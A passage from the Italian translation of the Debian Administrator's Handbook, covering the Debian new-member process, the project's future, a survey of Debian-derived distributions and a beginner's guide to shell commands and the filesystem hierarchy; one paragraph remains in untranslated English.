Diventare uno sviluppatore Debian non è una semplice questione amministrativa. Il processo è costituito da diverse fasi, ed è tanto un'iniziazione quanto un processo di selezione. In ogni caso, l'intero processo è formalizzato e ben documentato, in modo che chiunque spuò monitorarne l'avanzamento di stato sul sito web dedicato al processo per il nuovo membro.

→ http://nm.debian.org/

EXTRA Processo semplificato per "Manutentori Debian"

"Debian maintainer" è un'altro status che da meno privilegi dello status di "Debian Developer" ma che ha un processo di associazione più veloce. Con questo status, i contributori possono mantenere solo i loro pacchetti. È necessario solo che uno sviluppatore Debian esegua un controllo sul caricamento iniziale, e pubblichi una dichiarazione in cui risulti che ci si fida della capacità del possibile futuro maintainer di mantenere il pacchetto in maniera autonoma.

15.4.2.1. Prerequisiti

Tutti i candidati sono tenuti ad avere almeno una conoscenza di base della lingua inglese. Questo è necessario a tutti i livelli: per le comunicazioni iniziali con l'esaminatore, naturalmente, ma anche più avanti, dal momento che l'inglese è la lingua preferita per la maggior parte della documentazione, anche gli utilizzatori del pacchetto comunicheranno in inglese per la segnalazione di bug e si aspetteranno delle risposte in inglese.

Altri prerequisiti dipendono dalla motivazione. Diventare uno sviluppatore Debian è un processo che ha senso solo se il candidato sa che l'interesse per Debian durerà per molti mesi. Il processo di accettazione può durare diversi mesi ed ha bisogno di sviluppatori Debian a lungo termine, ogni pacchetto ha bisogno di manutenzione permanente, e non solo un caricamento iniziale.

15.4.2.2. Registrazione

Il primo (vero) passo consiste nel trovare uno sponsor o un sostenitore, il che significa uno sviluppatore ufficiale disposto a dichiarare che crede che accettare X sarebbe una buona cosa per Debian. Ciò implica in genere che il candidato sia già attivo all'interno della comunità e che il suo lavoro sia stato apprezzato. Se il candidato è timido e il suo lavoro non viene elogiato pubblicamente, può cercare di convincere uno sviluppatore Debian a sostenerlo, mostrandogli il suo lavoro in privato.

Al tempo stesso, il candidato deve generare una coppia, pubblica/privata, di chiavi RSA con GnuPG, che dovrebbe essere firmata da almeno due sviluppatore ufficiale Debian. La firma autentica il nome della chiave. In effetti, durante un key signing party, ogni partecipante deve mostrare un documento di identità ufficiale (solitamente una carta di identità o un passaporto) insieme all'identificativo della chiave. Questo passaggio conferma il legame tra la persona e la chiave. Questa firma richiede pertanto un riscontro nella vita reale. Se non si è ancora incontrato alcun sviluppatore Debian in una conferenza pubblica sul software libero, si possono cercare gli sviluppatori che vivono nelle vicinanze utilizzando l'elenco alla seguente pagina web come punto di partenza.

→ https://wiki.debian.org/Keysigning

Una volta che la registrazione sul sito nm.debian.org è stata convalidata dal sostenitore, al candidato viene assegnato un Application Manager. Da quel portale, l'application manager guiderà poi il processo attraverso diversi passaggi e controlli predefiniti.

La prima verifica è un controllo d'identità. Se si possiede già una chiave firmata da due sviluppatori di Debian, questo passaggio è semplice; altrimenti, l'application manager cercherà di guidare il candidato alla ricerca di sviluppatori Debian nelle vicinanze per organizzare un incontro e firmare la chiave.

15.4.2.3. Accettare i principi

Queste formalità amministrative sono seguite da considerazioni filosofiche. Il punto è fare in modo che il candidato comprenda e accetti il contratto sociale ed i principi alla base del Software Libero. L'adesione a Debian è possibile solo se si condividono i valori che accomunano gli attuali sviluppatori, espressi nei testi fondanti (e riassunti in Capitolo 1, Il Progetto Debian).

Inoltre, ogni candidato che desidera aderire a Debian è tenuto a conoscere il funzionamento del progetto, e come interagire in modo appropriato per risolvere i problemi che, senza dubbio, si incontreranno col passare del tempo. Tutte queste informazioni sono generalmente documentate nei manuali rivolti ai nuovi maintainer e nella guida di riferimento per lo sviluppatore Debian. Una lettura attenta di questo documento dovrebbe essere sufficiente per rispondere alle domande dell'esaminatore. Se le risposte non sono soddisfacenti, il candidato sarà informato. Quindi, dovrà leggere (nuovamente) la relativa documentazione prima di riprovare. Nei casi in cui la documentazione esistente non contenesse la risposta appropriata per la domanda, il candidato di solito può trovare una risposta, facendo un po' di esperienza pratica in Debian, oppure discutendone con altri sviluppatori Debian. Questo meccanismo garantisce che i candidati vengano coinvolti un po' in Debian prima di diventare parte integrante del progetto. Si tratta di una scelta intenzionale, con la quale i candidati che alla fine aderiranno al progetto sono integrati come un altro pezzo di un puzzle infinitamente espandibile.

Questo passaggio è generalmente conosciuto come Philosophy & Procedures (P&P in breve) nel gergo degli sviluppatori coinvolti nel processo per i nuovi membri.

15.4.2.4. Verifica delle capacità

Ogni domanda per diventare uno sviluppatore ufficiale Debian deve essere giustificata. Per diventare un membro del progetto è necessario dimostrare di meritare tale stato e che lo stato di membro, semplifichi il contributo del candidato allo sviluppo di Debian. La giustificazione più comune è che sia concesso lo status di sviluppatore Debian perché facilita la manutenzione di un pacchetto Debian, ma non è l'unico motivo. Alcuni sviluppatori aderiscono al progetto per contribuire al porting di una specifica architettura, altri vogliono migliorare la documentazione, e così via.

Questo passaggio rappresenta l'occasione per il candidato di indicare che cosa intende fare nell'ambito del progetto Debian e di mostrare ciò che ha già fatto in tal senso. Debian è un progetto pragmatico e dire qualcosa che non è sufficiente, se non si compiono le azioni vengono annunciate. Generalmente, quando il ruolo previsto all'interno del progetto è legato alla manutenzione dei pacchetti, una prima versione del potenziale pacchetto dovrà essere convalidata tecnicamente e caricata sui server di Debian da uno sponsor tra gli sviluppatori Debian.

COMUNITÀ Sponsorizzazione

Gli sviluppatori Debian possono "sponsorizzare" i pacchetti preparati da qualcun altro, pubblicandoli nei repository ufficiali di Debian dopo aver effettuato un attento esame. Questo meccanismo consente alle persone esterne, che non sono ancora passate attraverso il processo per il nuovo maintainer, di contribuire al progetto di tanto in tanto. Allo stesso tempo, garantisce che tutti i pacchetti in Debian siano sempre controllati da un membro ufficiale.

Infine, l'esaminatore verifica le competenze tecniche (di pacchettizzazione) del candidato con un questionario dettagliato. Non sono ammesse risposte sbagliate, ma il tempo per rispondere è illimitato. Tutta la documentazione è disponibile e sono consentiti diversi tentativi, se le prime risposte non sono soddisfacenti. Questo passaggio non ha come obiettivo quello di discriminare i candidati, ma assicurarsi che i nuovi collaboratori abbiamo un minimo di conoscenza.

Questo passaggio è noto come il passaggio Tasks & Skills (T&S abbreviato) nel gergo degli esaminatori.

15.4.2.5. Approvazione finale

Nell'ultima fase, l'intero processo è revisionato da un DAM (Debian Account Manager). Il DAM riesaminerà tutte le informazioni sul candidato che l'esaminatore ha raccolto e deciderà se creare o meno un account nei server Debian. Nei casi in cui sono richieste ulteriori informazioni, la creazione dell'account può essere rinviata. I rifiuti sono piuttosto rari se l'esaminatore fa un buon lavoro seguendo in maniera corretta l'iter, ma a volte succede. In ogni caso il rifiuto non è permanente e il candidato è libero di riprovare in un secondo momento.

La decisione del DAM è autorevole e (quasi) senza appello, il che spiega perché le persone in questa posizione sono state spesso criticate in passato.

Capitolo 16. Conclusione: Il futuro di Debian

La storia della Falcot Corp si conclude con questo ultimo capitolo, ma Debian prosegue, e il futuro porterà certamente molte sorprese interessanti.

16.1. Sviluppi futuri

Ora che è stata rilasciata la versione 10.1 di Debian, gli sviluppatori sono già impegnati a lavorare sulla prossima versione, nome in codice Bookworm…

Non esiste un elenco ufficiale di tutti i cambiamenti previsti e Debian non fa mai promesse sugli obiettivi tecnici delle prossime versioni. Tuttavia, si possono già notare alcune tendenze di sviluppo e argomenti di discussione e si può provare ad indovinare cosa potrebbe accadere (o meno). Alcuni dei cambiamenti attesi sono documentati nelle note di rilascio di Debian 11:

→ https://www.debian.org/releases/bullseye/amd64/release-notes/ch-information.en.html#deprecated-components

Oltre alla consueta deprecazione di alcuni componenti software, vale la pena sottolineare che Debian è in procinto di passare al cosiddetto file system merged-usr: in questo schema /bin, /sbin e /lib sono collegamenti simbolici che puntano alle corrispondenti directory in /usr. Questo migliora la compatibilità tra tutti i sistemi Unix e ci permette di avere tutti i file forniti da Debian in un'unica directory di primo livello, che può essere facilmente protetta, salvata o condivisa. Per approfondimenti sui vantaggi fare riferimento a:

→ https://www.freedesktop.org/wiki/Software/systemd/TheCaseForTheUsrMerge/

Questo importante cambiamento non è esente da problemi: dpkg dovrà gestire gli alias di queste directory, ma il manutentore di dpkg non gradisce la soluzione tecnica adottata da Debian e non ha ancora apportato le modifiche necessarie. L'aiuto del comitato tecnico Debian è stato già richiesto più volte. La loro ultima decisione può essere trovata qui:

→ https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=994388#110

apt-key diventerà obsoleto. La gestione delle chiavi per i repository di terze parti dovrebbe basarsi solo sulle chiavi presenti in /etc/apt/trusted.gpg.d o configurate tramite Signed-By come descritto in Sezione 6.6, «Controllare l'autenticità dei pacchetti».

Per alcune attività la soluzione software predefinita cambierà. Per esempio: plocate potrebbe essere un sostituto più veloce e più piccolo di mlocate. systemd continuerà ad aggiungere nuove funzionalità che aiuteranno a standardizzare il processo di avvio e la gestione del sistema, consentendo di sbarazzarsi di alcuni software presenti nel sistema di base.

Naturalmente tutte le principali suite di software avranno rilasci importanti. L'ultima versione dei vari desktop porterà una migliore usabilità e nuove funzionalità.

L'autorizzazione predefinita delle directory home sarà più restrittiva, consentendo solo all'utente di accedere ai propri file.

Gli sviluppi già avviati continueranno: migliorerà, ad esempio, la riproducibilità delle build e la sicurezza. Con l'uso diffuso dell'integrazione continua e la crescita dell'archivio (e dei pacchetti più grandi!), i vincoli sulle architetture rilasciate saranno più difficili da soddisfare ed alcune di esse saranno eliminate.

16.2. Futuro di Debian

Oltre a questi sviluppi interni, ci si può ragionevolmente aspettare che vengano alla luce nuove distribuzioni basate su Debian, grazie agli strumenti che continuano semplificare questo compito. Saranno avviati anche nuovi sottoprogetti specializzati, al fine di ampliare la portata di Debian verso nuovi orizzonti.

La comunità degli utenti Debian aumenterà e nuovi collaboratori si uniranno al progetto... compreso, forse, anche te!

Ci sono discussioni ricorrenti su come l'ecosistema software si sta evolvendo verso le applicazioni all'interno di container, dove i pacchetti Debian non hanno un valore aggiunto, o con gestori di pacchetti specifici del linguaggio (ad esempio pip per Python, npm per JavaScript e così via), che stanno rendendo obsoleti dpkg e apt). Sono convinto che gli sviluppatori Debian, di fronte a queste minacce, troveranno il modo di abbracciare questi cambiamenti e continueranno a fornire un valore aggiunto agli utenti.

Nonostante la sua età e le sue dimensioni considerevoli, Debian continua a crescere in tutte le (a volte inaspettate) direzioni. Collaboratori brulicano di idee, e le discussioni nelle mailing list di sviluppo, anche quando sembrano litigi, aumentano il progresso. Debian a volte è paragonata ad un buco nero, di tale densità che attrae ogni nuovo progetto di software libero.

Al di là dell'evidente soddisfazione della maggior parte degli utenti Debian, una profonda tendenza sta diventando sempre più indiscutibile: le persone (e le aziende!) sono sempre più consapevoli che la collaborazione, piuttosto che lavorare da soli, porti a risultati migliori per tutti. Il numero di attività commerciali che si affidano a Debian aumenta di anno in anno.

Il progetto Debian non è quindi a rischio di estinzione…

16.3. Futuro di questo libro

Vorremmo che questo libro evolvesse nello spirito del software libero. Accogliamo quindi con favore contributi, osservazioni, suggerimenti e critiche. Inviatele direttamente a Raphaël (<hertzog@debian.org>) oppure a Roland (<lolando@debian.org>). Per i feedback, sentitevi liberi di aprire segnalazioni di bug nei confronti del pacchetto Debian debian-handbook. Il sito web sarà utilizzato per raccogliere tutte le informazioni utili alla sua evoluzione, in particolare se si desidera tradurre questo libro per renderlo disponibile ad un pubblico sempre più ampio.

→ https://debian-handbook.info/

→ https://bugs.debian.org/src:debian-handbook

Abbiamo cercato di integrare la maggior parte di ciò che la nostra esperienza con Debian ci ha insegnato, in modo che chiunque possa usare questa distribuzione ed ottenerne il massimo vantaggio nel più breve tempo possibile. Speriamo che questo libro contribuisca a rendere Debian più facile e popolare, ed accogliamo con favore la pubblicità attorno ad esso!

Vorremmo concludere con una nota personale. Scrivere (e tradurre) questo libro ha sottratto una notevole quantità di tempo dalla nostra consueta attività professionale. Dal momento che siamo entrambi consulenti freelance, ogni nuova fonte di reddito ci dà la libertà di dedicare più tempo a migliorare Debian; ci auguriamo che il successo di questo libro possa contribuire a questo. Nel frattempo, sentitevi liberi di avvalervi dei nostri servizi!

→ https://www.freexian.com

→ https://www.gnurandal.com

Arrivederci a presto!

Appendice A. Distribuzioni derivate

Molte distribuzioni Linux sono derivate di Debian e riusano gli strumenti di gestione dei pacchetti di Debian. Hanno tutte le proprie peculiarità ed è possibile che una di esse soddisfi le tue esigenze meglio di Debian stessa.

A.1. Censimento e cooperazione

Il progetto Debian, riconosce pienamente l'importanza delle distribuzioni derivate e supporta la collaborazione tra tutte le parti coinvolte. Questo usualmente comporta l'incorporazione delle migliorie inizialmente sviluppate dalle distribuzioni derivate, in modo che tutti possano trarne beneficio e per ridurre il lavoro di manutenzione a lungo termine.

Questo spiega perché le distribuzioni derivate sono invitate a partecipare alle discussioni sulla mailing-list debian-derivatives@lists.debian.org, ed a partecipare al censimento delle derivate. Questo censimento ha lo scopo di raccogliere informazioni sul lavoro che avviene nelle derivate in modo che i manutentori Debian ufficiali possano seguire meglio lo stato del loro pacchetto in varianti di Debian.

→ https://wiki.debian.org/DerivativesFrontDesk

→ https://wiki.debian.org/Derivatives/Census

Vediamo ora di descrivere brevemente le distribuzioni derivate più interessanti e popolari.

A.2. Ubuntu

Ubuntu ha fatto un grande scalpore quando è arrivata sulla scena del software libero, e per buone ragioni: Canonical Ltd., la società che ha creato questa distribuzione, ha iniziato con l'assunzione di una trentina di programmatori Debian ed ha dichiarato pubblicamente di voler raggiungere l'obiettivo di fornire una distribuzione per il grande pubblico due volte l'anno. Inoltre, si sono impegnati a mantenere ogni versione per un anno e mezzo.

Questi obiettivi comportano necessariamente una riduzione dell'ambito; Ubuntu si concentra su un numero minore di pacchetti rispetto a Debian e si basa principalmente sul desktop GNOME (sebbene se ci sono derivate fornite con altri ambienti desktop). Tutto è internazionalizzato e reso disponibile in moltissime lingue.

So far, Ubuntu has managed to keep this release rhythm. They also publish Long Term Support (LTS) releases, with a 5-year maintenance promise. As of April 2021, the current LTS version is version 20.04, nicknamed Focal Fossa. The last non-LTS version is version 21.04, nicknamed Hirsute Hippo. Version numbers describe the release date: 21.04, for example, was released in April 2021.

IN PRATICA Promessa di supporto e manutenzione di Ubuntu

Canonical ha modificato più volte le norme che disciplinano la durata del periodo durante il quale è mantenuto un dato rilascio. Canonical, come una società, promette di fornire gli aggornamenti di sicurezza per tutto il software disponibile nelle sezioni main e restricted dell'archivio di Ubuntu, per 5 anni per i rilasci LTS e per 9 mesi per i rilasci non-LTS. Tutto il resto (disponibile in universe e multiverse) è mantenuto su base best-effort (miglio sforzo) da volontari del team MOTU (Masters Of The Universe). Siate pronti a gestire il supporto di sicurezza da soli se utilizzate pacchetti di queste ultime sezioni.

Ubuntu ha raggiunto una vasta platea del grande pubblico. Milioni di utenti sono rimasti impressionati dalla sua facilità di installazione, ed dal lavoro che è stato fatto per rendere il desktop facile da usare.

Ubuntu e Debian avevano un rapporto teso; gli sviluppatori di Debian, che avevano riposto grandi speranze nel contributo diretto che Ubuntu avrebbe potuto dare, sono stati delusi dalla differenza tra il marketing di Canonical, che implica che Ubuntu sia un buon cittadino nel mondo del Software Libero e la pratica reale dove sono state semplicemente rese pubbliche le modifiche applicate ai pacchetti Debian. Le cose sono migliorate nel corso degli anni ed ora per Ubuntu è consuetudine inoltrare le patch in modo appropriato (anche se questo vale solo per il software esterno che viene pacchettizzato e non per il software di Ubuntu come Mir o Unity).

→ https://www.ubuntu.com/

A.3. Linux Mint

Linux Mint è una distribuzione gestita (parzialmente) dalla comunità, sostenuta da donazioni e pubblicità. Il suo prodotto di punta è basato su Ubuntu, ma viene fornita anche una variante "Linux Mint Debian Edition" (LMDE), basata su Debian Stable con alcuni backport. LMDE è disponibile sia a 32 che a 64 bit.

In entrambi i casi, l'installazione iniziale prevede l'avvio di un dispositivo di archiviazione live, DVD o USB.

La distribuzione mira a semplificare l'accesso alle tecnologie avanzate e fornisce specifiche interfacce grafiche oltre al normale software. Per esempio, Linux Mint si basa di default su Cinnamon invece di GNOME (ma include anche MATE e Xfce); allo stesso modo, l'interfaccia di gestione dei pacchetti, sebbene basata su APT, fornisce un'interfaccia specifica con una valutazione del rischio da ciascun pacchetto aggiornato.

Linux Mint include una grande quantità di software proprietario in modo da migliorare l'esperienza degli utenti che ne hanno bisogno. Ad esempio: Adobe Flash e codec multimediali.

→ https://linuxmint.com/

A.4. Knoppix

La distribuzione Knoppix non ha bisogno di presentazioni. È stata la prima distribuzione popolare a fornire un live CD; in altre parole, un CD-ROM che esegue un sistema Linux chiavi in mano senza necessità di un hard-disk — qualsiasi sistema già installato sulla macchina sarà lasciato intatto. Il rilevamento automatico dei dispositivi disponibili permette a questa distribuzione di funzionare nella maggior parte delle configurazioni hardware. Il CD-ROM comprende circa 1 GB di software (compresso) e la versione DVD-ROM circa 4.5GB.

Combinare questo CD-ROM e una chiavetta USB permette di portare i propri file con sé, e di lavorare su qualsiasi computer senza lasciare traccia — si ricordi che questa distribuzione non usa affatto l'hard disk. Knoppix è in gran parte basato su LXDE (un desktop grafico leggero) per impostazione predefinita, ma la versione DVD include anche GNOME e KDE. Molte altre distribuzioni forniscono altre combinazioni di desktop e software. Questo è, in parte, reso possibile grazie al pacchetto Debian live-build che rende relativamente facile la creazione di un live CD.

→ https://live-team.pages.debian.net/live-manual/

Notare che Knoppix fornisce anche un installatore: si può provare prima la distribuzione come live CD, poi installarla su un hard disk per avere migliori prestazioni.

→ https://www.knopper.net/knoppix/

A.5. Aptosid e Siduction

Questa distribuzione, basata sulla comunità, segue le modifiche di Debian Sid (Instabile) — da cui il nome. I cambiamenti sono di portata limitata: l'obiettivo è di fornire il software più recente ed aggiornare i driver per l'hardware più recente, pur consentendo agli utenti di tornare alla distribuzione Debian ufficiale in qualsiasi momento. Aptosid era conosciuta precedentemente come Sidux e Siduction è un fork più recente di Aptosid.

→ http://aptosid.com

→ https://siduction.org

A.6. Grml

Grml è un live CD con molti strumenti per gli amministratori di sistema che hanno a che fare con installazione, distribuzione e recupero dei sistemi. Il live CD è fornito in due versioni, full e small, entrambe disponibili per PC a 32-bit e 64-bit. Ovviamente, le due versioni differiscono per la quantità di software incluso e la dimensione che ne risulta.

→ https://grml.org

A.7. Tails

Tails OS (The Amnesic Incognito Live System) mira a fornire un sistema live che preserva l'anonimato e la privacy. Pone grande attenzione nel non lasciare alcuna traccia sul computer su cui gira ed utilizza la rete Tor per collegarsi ad internet nel modo più anonimo possibile.

→ https://tails.boum.org

A.8. Kali Linux

Kali Linux è una distribuzione basata su Debian specializzata in test di penetrazione ("pentesting" in breve). Essa fornisce software che aiutano nel controllo della sicurezza di una rete esistente o di un computer in funzione e nella sua analisi dopo un attacco (pratica nota come "computer forensics").

→ https://kali.org

A.9. Devuan

Devuan è un fork di Debian iniziato nel 2014 come reazione alla decisione presa da Debian di passare a systemd come sistema di init predefinito. Un gruppo di utenti affezionato a sysv e contrario agli svantaggi di systemd ha iniziato Deuvan con l'obiettivo di mantenere un sistema senza systemd.

→ https://devuan.org

A.10. DoudouLinux

DoudouLinux si rivolge ai bambini (dai 2 anni). Per raggiungere questo obiettivo, fornisce un'interfaccia grafica fortemente personalizzato (basata su LXDE) e viene fornita con molti giochi ed applicazioni educative. L'accesso a internet è filtrato per impedire di visitare siti web problematici. Gli annunci sono bloccati. L'obiettivo, una volta avviato DoudouLinux, dovrebbe essere quello di permettere ai genitori di essere liberi di lasciare che i loro figli usino il computer. I bambini dovrebbero amare DoudouLinux, proprio come si godono la loro console di gioco. Purtroppo questa distribuzione non ha visto ulteriori sviluppi negli ultimi anni.

→ https://doudoulinux.org

A.11. Raspbian

Raspbian è una ricostruzione di Debian ottimizzata per il popolare (ed economico) computer a scheda singola della famiglia Raspberry Pi. Il recente rilascio di Raspbian per l'architettura arm64 non è più un riadattamento. Esegue, infatti, una Debian Bullseye pura. Il progetto aggiunge solo alcuni pacchetti extra, in particolare un kernel personalizzato, per supportare pienamente l'hardware.

→ https://raspbian.org

Debian fornisce anche immagini specifiche per diversi dispositivi Raspberry Pi.

→ https://raspi.debian.net/

A.12. PureOS

PureOS è una distribuzione basata su Debian finalizzata alla privacy, alla convenienza ed alla sicurezza. Segue le GNU Free System Distribution Guidelines, utilizzate dalla Free Software Foundation che elencano i requisiti di una distribuzione libera. L'azienda Purism (Social Purpose Corporation) guida il suo sviluppo.

→ https://pureos.net/

A.13. SteamOS

SteamOS è una distribuzione basata su Debian, orientata al gioco, sviluppata da Valve Corporation. È usata nella Steam Machine, una linea di computer da gioco. La prossima versione 3.0 utilizzerà, tuttavia, Arch Linux come piattaforma.

→ https://store.steampowered.com/steamos/

A.14. E molte altre

Il sito web Distrowatch fa riferimento a un numero enorme di distribuzioni Linux, alcune delle quali sono basate su Debian. Navigare in questo sito è un buon modo per farsi un'idea della diversità nel mondo del software libero.

→ https://distrowatch.com

Il modulo di ricerca può aiutare a rintracciare una distribuzione basata sulla sua discendenza. Ad Aprile 2021, selezionando Debian venivano restituite 154 distribuzioni attive!

→ https://distrowatch.com/search.php

Appendice B. Breve corso di recupero

Anche se questo libro si rivolge in primo luogo ad amministratori e "power-user", non vorremmo escludere principianti motivati. Questa appendice sarà quindi un corso intensivo che descrive i concetti fondamentali coinvolti nella gestione di un computer Unix.

B.1. Shell e comandi di base

Nel mondo Unix, prima o poi, ogni amministratore deve usare la riga di comando; ad esempio, quando il sistema non si avvia correttamente e fornisce solo un modalità di ripristino da riga di comando. Quindi, essere in grado di gestire questo tipo di interfaccia, è una competenza di base che in alcune circostanze risulta vitale.

SGUARDO VELOCE Avvio dell'interprete dei comandi

Un ambiente a riga di comando può essere eseguito dal desktop grafico, tramite un'applicazione conosciuta come "terminale". In GNOME, è possibile avviarlo dall'overview "Attività" (che si attiva portando il puntatore del mouse nell'angolo in alto a sinistra dello schermo), digitando la prima lettera del nome dell'applicazione. In Plasma (e in molte altre varianti desktop), lo troverai nel menu Applicazioni → Sistema.

Questa sezione offre solo una rapida occhiata dei comandi. Essi hanno molte opzioni qui non descritte, quindi per favore fare riferimento all'abbondante documentazione nelle loro rispettive pagine di manuale.

B.1.1. Esplorazione della struttura delle directory e gestione dei file

Una volta aperta la sessione, il comando pwd (che sta print working directory, stampa la directory di lavoro) visualizza la posizione corrente nel file system. La directory corrente viene cambiata con il comando cd directory (cd sta per change directory, cambia directory). La directory superiore è sempre chiamata .. (due punti), mentre la directory corrente è conosciuta anche come . (un punto). Il comando ls permette di elencare il contenuto di una directory. Se non viene fornito alcun parametro, opera nella directory corrente.

$ pwd /home/rhertzog $ cd Scrivania $ pwd /home/rhertzog/Scrivania $ cd . $ pwd /home/rhertzog/Scrivania $ cd .. $ pwd /home/rhertzog $ ls Scrivania Scaricati Immagini Modelli Documenti Musica Pubblici Video

Una directory può essere creata con mkdir directory, ed esistente (ma vuota) può essere rimossa con rmdir directory. Il comando mv permette di muovere e/o rinominare file e directory; la rimozione di un file è effettuata con rm file.

$ mkdir test $ ls Immagini Modelli Pubblici Scrivania Documenti Musica Scaricati Video test $ mv test new $ ls Immagini Modelli new Scaricati Video Documenti Musica Pubblici Scrivania $ rmdir new $ ls Immagini Modelli Pubblici Scrivania Documenti Musica Scaricati Video

B.1.2. Visualizzazione e modifica di file di testo

Il comando cat file (destinato a concatenare file al dispositivo di output standard) legge un file e ne visualizza il contenuto sul terminale. Se il file è troppo grande per essere visualizzato sullo schermo, usare un comando come less (oppure more) per visualizzarlo pagina per pagina.

Il comando editor avvia un editor testi (come ad esempio vi o nano) e permette di creare, modificare e leggere file di testo. È possibile creare file particolarmente semplici, direttamente dalla linea di comando, utilizzando la ridirezione: echo "text" >file crea un file chiamato file contenente “text”. È anche possibile aggiungere una linea alla fine del file, con un comando come: echo "moretext" >>file. Notare il doppio >> in questo secondo esempio.

B.1.3. Ricerca di file ed all'interno di file

Il comando find directory criterio cerca i file all'interno di una directory in base a diversi criteri. Quello usato più comunemenete è -name nome: che permette di cercare un file in base al suo nome.

Il comando grep espressione file cerca nel contenuto dei file ed estrae le linee corrispondenti all'espressione regolare (vedere riquadro FONDAMENTALE Espressioni regolari). Aggiungendo l'opzione -r consente una ricerca ricorsiva su tutti i file contenuti nella directory passata come parametro. Ciò consente di cercare un file quando si conosce solo una parte del contenuto.

B.1.4. Gestione dei processi

Il comando ps aux elenca i processi in esecuzione ed aiuta ad identificarli mostrando il loro pid (id del processo). Una volta che si conosce il pid di un processo, il comando kill -segnale pid permette di inviare un segnale (se il processo appartiene all'utente corrente). Esistono diversi segnali; quelli più comunemente usati sono TERM (richiesta di terminare) e KILL (terminare immediatamente).

L'interprete dei comandi può eseguire programmi in background quando quest'ultimo è seguito da una "&". Utilizzando la e commerciale, l'utente riprende immediatamente il controllo della shell anche se il comando è ancora in esecuzione (nascosto all'utente; come processo in background). Il comando jobs elenca i processi in esecuzione in background; eseguendo fg %identificativo (abbreviazione di foreground) il processo viene riportato in primo piano. Quando un comando è in esecuzione in primo piano (perché avviato normalmente o perchè riportato in primo piano con fg), la combinazione dei tasti Control+Z sospende il processo e restituisce il controllo all'interprete dei comandi. Il processo può essere riavviato in background con bg %identificativo (abbreviazione di background).

B.1.5. Informazioni di sistema: memoria, spazio su disco, identità

Il comando free visualizza le informazioni sulla memoria; df (disk free) riporta la disponibilità di spazio su ogni disco montato nel file system. La sua opzione -h (per human readable, leggibile dagli umani) converte le dimensioni in unità più leggibili (solitamente megabyte o gigabyte). Allo stesso modo, il comando free supporta le opzioni -m e -g visualizzando i dati, rispettivamente, in megabyte o gigabyte.

$ free total used free shared buff/cache available Mem: 16279260 5910248 523432 871036 9845580 9128964 Swap: 16601084 240640 16360444 $ df Filesystem 1K-blocks Used Available Use% Mounted on udev 8108516 0 8108516 0% /dev tmpfs 1627928 161800 1466128 10% /run /dev/mapper/vg_main-root 466644576 451332520 12919912 98% / tmpfs 8139628 146796 7992832 2% /dev/shm tmpfs 5120 4 5116 1% /run/lock tmpfs 8139628 0 8139628 0% /sys/fs/cgroup /dev/sda1 523248 1676 521572 1% /boot/efi tmpfs 1627924 88 1627836 1% /run/user/1000

Il id visualizza l'identità dell'utente che esegue la sessione, insieme alla lista dei gruppi a cui appartiene. Poiché l'accesso ad alcuni file o dispositivi può essere limitato ai soli membri di un gruppo, può essere utile controllare a quali gruppi si appartiene.

$ id uid=1000(rhertzog) gid=1000(rhertzog) groups=1000(rhertzog),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),109(bluetooth),115(scanner)

B.2. Organizzazione della gerarchia del file system

B.2.1. La directory root

Un sistema Debian è organizzato secondo il Filesystem Hierarchy Standard (FHS). Questo standard definisce lo scopo di ogni directory. Per esempio, le directory di primo livello sono descritte come segue:

/bin/: programmi base;

/boot/: kernel Linux ed altri file necessari per il processo d'avvio iniziale;

/dev/: dispositivi;

/etc/: file di configurazione;

/home/: file personali dell'utente;

/lib/: librerie di base;

/media/*: punti di montaggio dei dispositivi rimovibili (CD-ROM, chiavette USB ecc.);

/mnt/: punto di montaggio temporaneo;

/opt/: applicazioni extra fornite da terze parti;

/root/: file personali dell'ammininistratore (utente root);

/run/: dati volatili non persistenti tra i riavvii;

/sbin/: programmi di sistema;

/srv/: dati usati dai server ospitati dal sistema;

/tmp/: file temporanei; questa directory viene svuotata all'avvio;

/usr/: applicazioni; questa directory è ulteriormente suddivisa in bin, sbin, lib (seguendo la logica della directory principale). Inoltre, /usr/share/ contiene i dati indipendenti dall'architettura. /usr/local/ è pensato per essere utilizzato dall'amministratore per installare manualmente le applicazioni senza sovrascrivere i file gestiti dal sistema di pacchettizzazione (dpkg).

/var/: dati variabili gestiti dai demoni. Questi includono file di log, code, stampe, cache ecc.

/proc/ e /sys/ sono specifici per il kernel Linux (non fanno parte di FHS). Sono utilizzati dal kernel per l'esportazione dei dati nello spazio utente (vedere Sezione B.3.4, «Lo spazio utente» e Sezione B.5, «Lo spazio utente» per spiegazioni inerenti questo concetto).

Molte distribuzioni moderne, inclusa Debian, stanno offrendo /bin, /sbin e /lib come collegamenti simbolici alle directory corrispondenti sotto /usr in modo che tutti i programmi e le librerie siano disponibili in un unico punto. Semplifica la protezione dell'integrità dei file di sistema e la condivisione di tali file tra più contenitori, ecc.

B.2.2. Directory home dell'utente

I contenuti della directory home dell'utente non sono standardizzati, ma ci sono ancora alcune convenzioni degne di nota. Una è che spesso la directory home dell'utente viene definita da una tilde (“~”). Questo è utile da sapere poichè gli interpreti di comando sostituiscono automaticamente la tilde con la directory corretta (di solito /home/utente/).

Tradizionalmente, i file di configurazione dell'applicazione vengono spesso memorizzati direttamente nella directory home dell'utente, ma i loro nomi di solito iniziano con un punto (per esempio, il client email mutt salva la sua configurazione in ~/.muttrc). Si noti che i nomi dei file che iniziano con un punto sono nascosti per impostazione predefinita; il comando ls li elenca solo quando viene aggiunta l'opzione -a, mentre i file manager grafici necessitano di essere configurati.

Alcuni programmi utilizzano molteplici file di configurazione organizzati in una directory (ad esempio, ~/.ssh/). Altre applicazioni usano anche loro directory per memorizzare una cache di dati scaricati. Questo significa che quelle directory possono arrivare ad utilizzare una grande quantità di spazio su disco.

Questi file di configurazione archiviati direttamente nella directory home dell'utente, comunemente denominati dotfile, nel tempo sono proliferati al punto che potrebbero quasi interamente riempirla. Fortunatamente uno sforzo collettivamente, sotto la direzione di FreeDesktop.org, ha portato alla "XDG Base Directory Specification", una convenzione che mira a ripulire questi file e directory. Questa specifica stabilisce che i file di configurazione devono essere salvati in ~/.config/, quelli di cache in ~/.cache/ e quelli dell'applicazione in ~/.local/ (o in sottodirectory). Questa convenzione si sta lentamente consolidando e diverse applicazioni (specialmente quelle grafiche) hanno iniziato a rispettarla.

I desktop grafici di solito visualizzano i contenuti della directory ~/Desktop/ (o qualunque sia la traduzione appropriata per sistemi non configurati in inglese) sulla scrivania (ovvero ciò che è visibile sullo schermo una volta che tutte le applicazioni sono state chiuse o ridotte a icona).

